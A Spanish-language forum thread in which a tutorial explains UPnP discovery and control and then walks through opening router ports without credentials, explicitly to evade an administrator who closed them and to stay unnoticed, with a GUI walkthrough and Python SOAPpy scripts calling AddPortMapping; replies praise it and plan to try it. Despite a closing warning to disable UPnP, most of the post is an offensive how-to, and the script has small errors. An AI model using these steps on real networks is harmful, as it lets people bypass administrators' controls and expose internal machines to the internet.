Seifreed

Universal Plug And Play.

¿Conveniente o arriesgado?

Está bien empezar este hilo con una pregunta, verdad?

Pues para que mantengáis la expectación de este laaarrrgoooo post y no aburra a las ovejas, os diré que conseguiréis al final del mismo:

A.- Abrir puertos en un router, firewall, SIN NECESIDAD DE AUTENTICARSE, vamos, sin saber la contraseña de administración, sin permiso del propietario, etc... AUNQUE ESTÉN CERRADOS POR EL ADMINISTRADOR!!!!

Y lo que es mejor... NADIE LO SABRÁ porque no aparecen a simple vista

B.- Habilitar el control remoto de esos dispositivos SIN NECESIDAD DE AUTENTICARSE

Y NADIE LO SABRÁ porque no aparece a simple vista

C.- Averiguar Contraseñas WAP,. WEP. Etc. De puntos de acceso SIN NECESIDAD DE AUTENTICARSE

D.- Averiguar información sensible de los dispositivos administrados, como puertas de enlace, Ip’s, NAT, etc.. SIN NECESIDAD DE AUTENTICARSE

E.- Conectarnos a una cámara IP SIN NECESIDAD DE AUTENTICARSE

Y mas cosas, aquello que permita el dispositivo... alguna restricción hay, pocas, depende del hardware.

Las pruebas y ejemplos están basados en router, puntos de acceso y gateways de Cisco/LinkSys, pero no es una vulnerabilidad de ese fabricante, SON TODOS!!! D-Link, SpeedTouch, Zyxel, y un largo etcétera, todo aquello que es “compatible” con UPnP y que esté activado.... os recuerdo que casi la totalidad de dispositivos “home” de ese tipo traen habilitada esta función POR DEFECTO!!!

Espero haber captado vuestra atención nada más empezar... así que mientras continuáis leyendo, os recomiendo que DESHABILITÉIS esa función YA!!!!!

Bueno, todos hemos oído hablar de esto en muchas ocasiones, seguro que es conocido por mas de uno de los que por aquí pululamos, el caso es que yo (nosotros) vamos a verlos desde el “otro lado”...

Muchos dispositivos y programas que existen hoy en día se diseñan con el soporte UPnP (Universal Plug and Play), quien no ha insertado su memoria flash o conectar una impresora que en sus especificaciones dice que es compatible UPnP!!!

No obstante, este sistema no es sólo un mecanismo sencillo y simple para insertar hardware o manejar algunos programas... si, si, progrmas... es que no habéis usado nuestra querida mula?? Skype?? BitTorrent?? Pues por alguna parte de sus configuraciones existen opciones para UPnP.... y??? Qué es eso???

Pues UPnP en realidad es un PROTOCOLO de comunicaciones, Microsoft lo impulsó a principios de los años 90 para simplificar y encontrar dispositivos de red, pero no es exclusivo de Microsft, como ya he dicho, muchos otros programas y dispositivos pueden usarlo y lo usan hoy en día, también Linux, FreeBSD, por ejemplo.

La pila de protocolos UPnP se basa en protocolos bien definidos en Internet, concretamente en HTTP. XML y SOAP... ya hablaremos de ello.

Y qué ventajas puede tener usar dispositvos UPnP (por ejemplo un Router con esa opción habilitada) y un programa compatible (poir ejemplo el e-mule, o el Messenger)

Pués que SIN NECESIDAD de hacer NAT en el router, o en el cortafuegos, se puede acceder a la red y compartir o sencillamente, no mapear esos puertos...

Otras aplicaciones como VoIP (Voz sobre IP) utilizan paquetes más complejos con protocolos H323 ó SIP,. Una manera de usarlo sin problemas es mediante UPnP...

Vamos que lo que parece ser una ventaja, insertar hardware, usar telefonía IP u otros de los programas mencionados, puede ser un RIESGO de seguridad importante.

La idea de UPnP es que los programas puedan abrir los puertos que necesiten en el cortafuegos dinámicamente, sin intervención expresa del administrador, noooo,. No es un fallo de seguridad, puede ser una ventaja o como empezaba este post:

¿Conveniente o arriesgado?

Pues vamos a ver como funciona... evitaré en la medida de lo posible irme por las ramas y centrarme en los ejemplos, sin mucha teoría y descripción profunda... a ver si me sale.

Paso 1.- Direccionamiento

Desde dentro de una LAN necesitamos una IP válida, bien asignada por un servidor DHCP automáticamente o bien de manera estática, y si no??

Pues en el caso de Windows nos brinda el “fabuloso” zeroth, vamos que nos asignará una dirección de APIPA (169.254.xxx.xxx) lo que llamamos el auto-direccionamiento, algunas distribuciones de Linux como Fedora, también lo incluye.

El caso es que bien con una dirección de APIPA o una automática o estática, necesitamos IP y ya la tenemos, no??

Paso 2..- Descubrimiento

Una de las cosas que la máquina hace cuando se une a la red pregunta si existen servicios UPnP, para ello envía una serie de mensajes a una dirección de MULTIDIFUSION (Multicast).

Los equipos con capacidades UPnP escuchan ese multicast, en la dirección 239.255.255.250 y de forma estándar por el puerto 1900

No recuerdas que es el multicast??? Pués ya sabes.. el Taller de TCP/IP jajaja... bueno, digamos que hay cuatro grandes formas de “dirigirse” a una máquina:

1.- Unicast, comunicaciones de uno a uno
2.- Broadcast, comunicaciones de uno a todos
3.- Multicast, comunicaciones de uno a varios
4.- Any cast, que es como un multicast pero se “elige” a uno de esos varios.

A lo que vamos, nuestra máquina envía mensajes de descubrimiento a la red para averiguar si existe algún dispositivo con capacidades de UPnP, si es así responderá a nuestros mensajes de descubrimiento.

Esos mensajes se lanzan en UDP a la red en un formato parecido a este:

Código: Received 17/01/2008 at 21:16:29

M-SEARCH * HTTP/1.1
MX: 10
ST: ssdp:all
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"

De éste paquete hay que observar varias cosas:

Algo tiene que ver http como aparece en la primera línea, ya veremos a continuación que esos mensajes y sus respuestas “contienen” el protocolo http, por ello tambié se le llama HTTPU (http bajo UDP) que no es otra cosa que una variante del archiconocido protocolo WEB http

MX: 10 Es una notificación que se envía para advertir a los dispositivos UPnP que deben enviar sus respuestas en los próximos 10 segundos.

ST: ssdp:all SSDP es un protocolo (Simple Service Discovery Protocol) o Descubrimiento sencillo de servicios, que no es otra cosa que el mecanismo para descubrir esos dispositivos y servicios UPnP, se pueden enviar en forma unicast o multicast y como he dicho se utiliza para descubrir servicios en redes basadas en el Universal Plug and Play (UPnP).

HOST: 239.255.255.250:1900 Como ya se apuntó antes, es la dirección multicast y puerto por el que atienden los dispositivos UpnP.

MAN: “ssdp:discover” Eso, el tipo de mensaje SSDP que se envía.

Si existe alguien que atienda esa petición, responderá algo como esto:

Código: Received 17/01/2008 at 21:16:31

HTTP/1.1 200 OK
ST: upnp:rootdevice
EXT:
SERVER: VxWorks/5.4.2 UPnP/1.0 iGateway/1.1
USN: uuid:B9AE88EA-0D56-49EF-A178-AA9CC8F15656::upnp:rootdevice
CACHE-CONTROL: max-age = 126
LOCATION: http://192.168.1.1:2869/IGatewayDeviceDescDoc
Content-Length: 0

Que sin entrar en muchos detalles son las cabeceras con el tipo de máquina, nombre del servidor, caché, localización, etc...

Una de las cosas que ya sabemos gracias a este método es la dirección IP del mismo, fíjate en la cabecera LOCATION, ahí tienes la dirección IP de ese cortafuegos, el puerto para ser administrado por UpnP y eso que pone: IgatewayDeviceDescDoc, no es otra cosa que la página a la que podemos acceder.

Vamos, que si accedemos con el explorador (IE, firefox o el que uses) y pones en la barra de dirección

Código: http://192.168.1.1:2869/IGatewayDeviceDescDoc

Tendrías que recibir algo como esto:

Código: <?xml version="1.0" ?>
- <root xmlns="urn:schemas-upnp-org:device-1-0">
- <specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
- <device>
<deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType>
<friendlyName>WRT54G</friendlyName>
<manufacturer>Linksys</manufacturer>
<manufacturerURL>http://www.linksys.com/</manufacturerURL>
<modelDescription>WRT54G</modelDescription>
<modelName>WRT54G</modelName>
<modelNumber>WRT54G-01</modelNumber>
<modelURL>http://www.linksys.com/</modelURL>
<serialNumber>A0001</serialNumber>
<UDN>uuid:B9AE88EA-0D56-49EF-A178-AA9CC8F15656</UDN>
<UPC>IGateway-01</UPC>
- <iconList>
- <icon>
<mimetype>image/gif</mimetype>
<width>118</width>
<height>119</height>
<depth>8</depth>
<url>/intoto.GIF</url>
</icon>
</iconList>
- <serviceList>
- <service>
<serviceType>urn:schemas-upnp-org:service:Layer3Forwarding:1</serviceType>
<serviceId>urn:upnp-org:serviceId:L3Forwarding1</serviceId>
<SCPDURL>/L3ForwardingDescDoc</SCPDURL>
<controlURL>/L3ForwardingCtrlUrl</controlURL>
<eventSubURL>/L3ForwardingEvtUrl</eventSubURL>
</service>
</serviceList>
- <deviceList>
- <device>
<deviceType>urn:schemas-upnp-org:device:WANDevice:1</deviceType>
<friendlyName>WANDevice</friendlyName>
<manufacturer>Linksys</manufacturer>
<manufacturerURL>http://www.linksys.com/</manufacturerURL>
<modelDescription>WRT54G</modelDescription>
<modelName>WRT54G</modelName>
<modelNumber>WRT54G-01</modelNumber>
<modelURL>http://www.linksys.com/</modelURL>
<serialNumber>A0006</serialNumber>
<UDN>uuid:6A55E32D-646D-4D39-89A2-627F82DD7999</UDN>
<UPC>IGateway-01</UPC>
- <serviceList>
- <service>
<serviceType>urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANCommonIFC1</serviceId>
<controlURL>/WANCommonIFCCntrlUrl</controlURL>
<eventSubURL>/WANCommonIFCEvtUrl</eventSubURL>
<SCPDURL>/WanCommonIFCDescDoc</SCPDURL>
</service>
</serviceList>
- <deviceList>
- <device>
<deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:1</deviceType>
<friendlyName>WANConnectionDevice1</friendlyName>
<manufacturer>Linksys</manufacturer>
<manufacturerURL>http://www.linksys.com/</manufacturerURL>
<modelDescription>WRT54G</modelDescription>
<modelName>WRT54G</modelName>
<modelNumber>WRT54G-01</modelNumber>
<modelURL>http://www.linksys.com/</modelURL>
<serialNumber>A0006</serialNumber>
<UDN>uuid:9709A398-04F5-4ACE-927E-9C79E7434897</UDN>
<UPC>IGateway-01</UPC>
- <serviceList>
- <service>
<serviceType>urn:schemas-upnp-org:service:WANEthernetLinkConfig:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANEthernetLinkC1</serviceId>
<controlURL>/WANEthernetLinkCfgUrl</controlURL>
<eventSubURL>/WANEthernetLinkCfgUrl</eventSubURL>
<SCPDURL>/WanEthernetLinkCfgDescDoc</SCPDURL>
</service>
- <service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<controlURL>/WANIPConnCtrlUrl</controlURL>
<eventSubURL>/WANIPConnEvtUrl</eventSubURL>
<SCPDURL>/WanIPConnectionDescDoc</SCPDURL>
</service>
</serviceList>
</device>
</deviceList>
</device>
</deviceList>
<presentationURL>http://192.168.1.1:80/</presentationURL>
</device>
</root>

Aunque luego analizaremos (un poco) ese contenido XML, acabamos de saber dos cosas:

Primero: La IP del router, igual no le das importancia porque eso se puede averiguar con un simple ifconfig o ipconfig, pero... y si no tuvieses IP válida en esa red???

Pues sabiendo que es una 192.168.1.1, ya puedes ponértela una “a mano” de ese rango.

Segundo: El router responde a determinadas páginas sin necesidad de autenticarse, vamos, que aun desconociendo el usuario y contraseña del mismo, nos ha sacado ese tocho por pantalla... y si hace eso, seguro que escupe mas información.... al tiempo, que todo llega en esta vida...

Haremos un alto en el camino para ir practicando...

Nos vamos a descargar una pequeña utilidad que nos facilitará el trabajo (es libre)

toollicense.htm - Intel® Software Network

toollicense.htm - Intel® Software Network

Eso no es más que un esnifer... bueno, tiene alguna que otra utilidad interesante... pero de momento basta saber eso.

Una vez instalada, se ejecuta y pulsando F5 buscará dispositivos UpnP por la red y obtendremos los mensajes de descubrimiento y las respuestas.... como en esta pantalla del ejemplo anterior:





Sigamos... que ya me fui por las ramas... jajaja.

Como acabamos de ver, los dispositivos que “atienden” a UPnP se descubren y responden con mensajes en cabeceras http y ficheros XML, a intervalos regulares siguen enviando esas cabeceras y mensajes a los equipos que se suscriben a esa dirección de multicast, y por cierto, en algunas ocasiones puedes recibir cabeceras NT en lugar de ST, es lo mismo, no importa.

Paso 3.- Descripción

El dispositivo UPnP también ofrece una descripción de las cosas que puede hacer vía XML, para ello podemos fijarnos en el esnifer en las URL que sigue a la cabecera LOCATION, antes vimos una que era:

Código: http://192.168.1.1:2869/IGatewayDeviceDescDoc

Si seguimos investigando con el esnifer encontraremos otras, dependerá del tipo de dispositivo, eso te lo dejo a ti... que es sencillo, no?

A lo que vamos, que en esa página XML del ejemplo va embebido las “cosas” que podemos hacer con él mediante UPnP, el servicio, el tipo de servicio, los puntos de control, etc.. cuando vayamos al ejemplo práctico le daremos utilidad.

Paso 4.- Control

En este paso el dispositivo queda a la escucha de los puntos de control, los servicios que admite los envía mediante HTTPU (http bajo UDP) en el fichero XML , un recorte de la salida:

Código: <service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<controlURL>/WANIPConnCtrlUrl</controlURL>
<eventSubURL>/WANIPConnEvtUrl</eventSubURL>
<SCPDURL>/WanIPConnectionDescDoc</SCPDURL>
</service>

Esto no es otra cosa que la forma en la que podremos acceder a la interface WAN (WANIPConnection), el servicio (WANIPConn1), la URL de control (WANIPConnCtrlUrl), los sucesos (/WANIPConnEvtUrl) y la dirección web del mensaje XML “descubierto” (SCPDURL /WANIPConnection)

Ya les daremos uso... calma que ahora estamos aprendiendo el funcionamiento del protocolo.

En este paso se utiliza otro protocolo mas... SOAP. Podemos enviar “preguntas SOAP” a ControlURL, SOAP es un protocolo que se ejecuta bajo http y usa XML para describir la función a llamar, el servidor responderá a esa llamada. SOAP se usa frecuentemente para hacer usos de algunos servicios Web.

Paso 5. Sucesos

Los puntos de control anteriores guardan el estado que el dispositivo enviará, el dispositivo los registra y hay que suscribirse a ellos.

Una vez que el dispositivo ha registrado el punto de control enviará o recibirá mensajes con su estado para mas tarde poder recibir las actualizaciones. Todo esto mediante HTTPU.

Paso 6.- Presentación

Pues es cómo el dispositivo presentará esa información “a los mortales”, vamos lo que está mas cerca de nosotros que de las máquinas, ya sea mediante un interface web o lo que sea.

Resumiendo:

Con UPnP, cuando un usuario conecta un dispositivo a la red, el dispositivo se autoconfigura.

El mecanismo de transporte es http bajo UDP enviados a direcciones IP de multicast

Utiliza mensajes de descubrimiento, descripción de los servicios, puntos de control, eventos/sucesos y presentación de los resultados para ello se apoya en protocolos del tipo SSDP, SOAP y archivos XML.

Es inseguro porque no requiere autenticación, cualquier host de la red puede usar esa pila de protocolos para “controlar” o averiguar información de la máquina que tenga habilitada los servicios UPnP.

Como el dispositivo se “autoconfigura” se pueden enviar mensajes con valores manipulados a los servicios que ofrece.

Bien... y ahora “lo bueno”

¿Cómo podemos explotar todo esto?

Pues se me ocurren varias maneras, todo depende del lado de la red en la que estemos...

Supongamos que formamos parte de esa red, imaginemos que somos un usuario mas y que el admin. De nuestra empresa, colegio, instituto u oficina tiene TODOS los puertos capados....

La respuesta es enviando mensajes SOAP al dispositivo para abrir los puertos que queramos,

Y si estamos fuera? Pues poniendo en marcha un servidor web malicioso que al visitarlo envie esos mismos mensajes.

En este artículo me voy a centrar en la primera posibilidad (ojito que se puede hacer desde el otro lado del router, desde Internet, eso queda para una posterior ampliación)

Voy a tratar ese caso, un router con TODOS los puertos cerrados y le vamos a abrir puertos haciendo NAT hacia una máquina de la red sin saber ni la contraseña ni gaitas.

Ya... pero ¿cómo? ¿con qué?

Pues primero con otro programita del tipo esnifer que vimos antes, que es como mas visual, después con scripts en perl o phyton..., al gusto...

Venga por lo primero, que así daremos uso a lo aprendido.

Vamos a descargar e instalar esto:

http://www.hilisoft.com/UPnP/download/UPnPBF11.exe

Al ejecutarlo veremos esto o similar:



Lo primero que haremos es un UpnP Discover



Ahora vamos a ir expandiendo el árbol del/los dispositivos encontrados...



Como ves se eligió de la lista de dispositivos y servicios la conexión WAN (que está resaltada en azul)

Bajo ella encontraremos Subscriciones, Propiedades, Acciones y variables.

Ahora (aunque no es necesario del todo) pinchamos con el botón derecho del ratón sobre eso que tenemos resaltado y seleccionamos Suscribe



En la parte derecha de la ventana nos informará si se efectuó o no...



De momento todo bien, seguimos...

Abrimos el árbol que pone Actions y veremos un listado de lo que podemos hacer...



Como ves hay muchas cosas... las que nos interesan en este caso son:

GetGenericPortMappingEntry: Que nos permitirá ver los puertos mapeados dinámicamente.

AddPortMapping: Que nos permitirá abrir un puerto a una ip, vamos el NAT estático de toda la vida... eso del Nateo, mapeo o como gusten....

DeletePortMapping: Que nos permitirá eliminar el puerto abierto con anteioridad

IMPORTANTE: Al hacer NAT de este modo, no esperéis ver en el panel web del router o dispositivo esas entradas, recuerda que SON DINÁMICOS y no se muestran en la lista estática de puertos mapeados!!!!

Qué mas puedes pedir??? Vamos a hacer NAT sin permiso del admin. De la red, sin saber la contraseña del router y sin ser descubiertos!!!! Qué mas??? Un café???

Venga, al tajo...

Haremos lo siguiente para comprobar que se hizo bien... podremos netcat a la escucha para “simular” que existe un servicio... y luego iremos a una de esas webs que escanean puertos online para ver si apareció el puerto como abierto...

Todavía no hemos hecho nada, por tanto nos debe decir que el puerto está cerrado...

Netcat a la escucha...



Ahora vamos a upseros y que nos escaneen la conexión: (solo se muestra un “extracto” de la pantalla, la del puerto 8080 que abrimos con el netcat)

UPSEROS - Scanner de puertos - Analiza online la seguridad de tu PC en Internet



Y por supuesto en nuestro netcat no se habrá registrado ninguna conexión....



Claro... está cerradito... pues vamos a abrirlo

Expandimos el árbol de AddPortMapping y sobre esa entrada pulsamos botón derecho y Set Value



Tenemos que informar de los siguientes valores:

NewRemoteHost: Que será la dirección IP del host remoto al que permitimos la conexión entrante... es decir la IP de upseros.com que es: 69.93.0.234 ah!!! Que quieres aceptar conexiones entrantes de cualquier dirección??? Pues pondremos la 0.0.0.0

NewExternalPort: Puerto del router cara a Internet, en el ejemplo: 8080

NewProtocol: Eso, el protocolo, UDP, TCP, en nuestro caso TCP

NewInternalPort: Puerto por el que escuchará la máquina interna, en nuestro caso también el 8080

NewInternalClient: La dirección IP de la máquina interna, en este caso es la 192.168.1.100.

NewEnabled: Admite valores 0 para deshabilitar o 1 para habilitar la entrada... por supuesto pondremos un 1

NewPortMappingDescription: Pues nada, como lo queremos llamar... por ejemplo ponemos Puerto Pirata

NewLeaseDuration: Es el tiempo durará en la memoria del router la entrada NAT, si queremos hacerlo “para siempre” pondremos un 0

No hace falta que vayas seleccionando uno a uno y dando Ok, basta con abrir el menú desplegable e ir añadiendo esos valores que puse antes y al final pulsas en OK:



Al final la cosa queda así:



Vale, ahora volvemos a pulsar sobre la entrada AddPortMapping con el botón derecho del ratón y seleccionamos Execute Action



Y ale!!!! Volvemos a upseros....



TATACHÁNNNNN!!!

Y en nuestro netcat:



NAT en marcha!!!! POR DIOS SANTO!!!!

Esto es un chollito para virus, troyanos, o para poner Routers Zombies por la red... es peligroso y si me apuras muy, muy, muy PELIGROSO no opinas igual???

A poco que hayas prestado atención, podrás manejar otras entradas, consultar los puertos dinámicos que han hecho NAT mediante UPnP, Cerrarlos, y averiguar otro tipo de información...

Bueno, lo de los scripts, venga... primero uno sencillito para averiguar la IP Externa....

Código: #!c:\python24\phyton.exe

import os
from SOAPpy import *
endpoint = "http://192.168.1.1:2869/WANIPConnCtrlUrl"
namespace = "urn:schemas-upnp-org:service:WANIPConnection:1"

soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress "

server = SOAPProxy(endpoint, namespace)

print "External IP", server._sa(soapaction).GetExternalIPAddress()

El resultado de ejecutar ese código os entregará la IP externa, la pública o la que estéis usando como pasarela de vuestra red.

Cómo conozco lo valores de las variables endpoint, namespace y soapaction??

Pues al principio de este post, capturamos con el esnifer de Intel varios paquetes, uno de ellos en sus cabeceras era:

Código: LOCATION: http://192.168.1.1:2869/IGatewayDeviceDescDoc

De ahí conseguimos la IP y el puerto por el que el router escuchará los mensajes SOAP que le enviemos, en mi ejemplo es la 192.168.1.1 y puerto 2869

De dónde sale eso de WANIPConnCtrlUrl que le sigue en la variable endpoint?

De aquí:

Código: <serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<controlURL>/WANIPConnCtrlUrl</controlURL>
<eventSubURL>/WANIPConnEvtUrl</eventSubURL>
<SCPDURL>/WanIPConnectionDescDoc</SCPDURL>
</service>

Pues de la captura XML que también puse antes... si te fijas en el código XML que sigue al servicio WANIPConnection, la URL de control <controlURL> es esa misma.

La variable namespace contiene urn:schemas-upnp-org:service:WANIPConnection:1 que es el tipo de servicio <serviceType>

La variable soapaction contiene urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress

Es el mensaje SOAP, que es la identificación del servicio seguido del carácter # y la variable que queremos consultar, si echas un vistazo a la herramienta UPnP Browser que usamos para mapear el puerto “a mano” verás que una de las acciones que se pueden realizar es esa misma:



Y para hacer NAT “pirata”

Código: #!c:\python24\phyton.exe

import os
from SOAPpy import *
endpoint = "http://192.168.1.1:2869/WANIPConnCtrlUrl"
namespace = "urn:schemas-upnp-org:service:WANIPConnection:1"

soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress "

server = SOAPProxy(endpoint, namespace)

print "External IP", server._sa(soapaction).GetExternalIPAddress()


soapaction2= "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"


server._sa(soapaction2).AddPortMapping(NewRemoteHo st="0.0.0.0",
NewExternalPort=8080,
NewProtocol="TCP",
NewInternalPort=8080,
NewInternalClient="192.168.1.100",
NewEnabled=0,
NewPortMappingDescription="Puerto Pirata",
NewLeaseDuration=0)

Observa que lo único que se añadió es la variable soapaction2 que es muy similar a la explicada antes, excepto que la acción a ejecutar es #AddPortMapping (lógico...)

Y que el envío al Server.sa contiene los valores que vimos anteriormente en el NAT que hicimos con la aplicación UPnP Browser... creo que está claro y no precisa de mucha mas explicación.

Si usáis Python para Windows, yo usé ActivePython, también debéis instalar y construir los Módulos SOAPpy y fpconst, podéis descargarlo en

Activepython para Windows:
ActiveState - General Error

Los de LiNUX, ya lo sabemos.... jejeje.

Módulos:

SOAPpy para Windows:
SourceForge.net: Web Services for Python: Downloading ...

SOAPpy para LiNUX: SourceForge.net: Web Services for Python: Downloading ...

fpconst para Windows: SourceForge.net: RSOAP and RSessionDA: Downloading ...

fpconst para LiNUX: SourceForge.net: RSOAP and RSessionDA: Downloading ...

Y por hoy, ya está bien.... no sin antes decir una cosa y agradecer otra....

Decir que existen troyanos que explotan esto mismo, así que cuidado, que podemos montar un web Server “malvado” que haga un NAT de este estilo, que muchos routers permiten la administración remota mediante UPnP... cuidado....

Y el agradecimiento, a Death_Master que si algo sé de Python, o por lo menos entender como es ese lenguaje es gracias a él... y ya puestos a un señor que se llama Armijn Hemel al cual no tengo el gusto de conocer pero que “iluminó” en su momento a este Vikingo para trastear con estas cosas del UPnP y que para desgracia de mis alumnos tienen que soportar de vez en cuando...

Saludos.

Byes....... Y otra cosa.... leñe.... si reiniciamos el router o lo que sea, se eliminará este tipo de "azaña".... desactivad todos la opción de UPnP, estáis avisados...
Fuente

__________________
Mi web:
http://www.seifreed.net
Asociación cultural y tecnológica:
http://www.badiatech.org
Cursos de informática:
aula.badiatech.org
Wikipedia asociación:
wiki.badiatech.org

sm4c

solo llego hasta aca UpnP --> Discover

y viendo me sale este error

" CP handling ssdp search result msg
SSDP Alive: http://192.168.1.1:80/DeviceDescription.xml
select(): err "

estare haciendo algo mal ah o sera porque es una conexion inalambrica? puede ser por eso???

__________________
DragoNautas Peru !! Unete ¡¡

----------------------------------------------------------------

kurkop

Hola una duda, en esta parte:

A lo que vamos, nuestra máquina envía mensajes de descubrimiento a la red para averiguar si existe algún dispositivo con capacidades de UPnP, si es así responderá a nuestros mensajes de descubrimiento.

Esos mensajes se lanzan en UDP a la red en un formato parecido a este:

Código: Received 17/01/2008 at 21:16:29

M-SEARCH * HTTP/1.1
MX: 10
ST: ssdp:all
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"

lo que no entiendo es como se hace para enviar el mensaje de descubrimiento.... y en general muy bueno el post, me lo lei todo y entendi casi todo. se puden hacer infinidad de cosas con esto..

__________________

grancerote

Muy bueno el post no lo he puesto en practica porq estoy en el brete pero apenas tenga tiempo en al casa. me entro de lleno.

Ysif

Magnifico Post en lo que llegue al taller lo pondre en practica espero haber entendio bien...!
Muchas gracias por el aporte
Salu2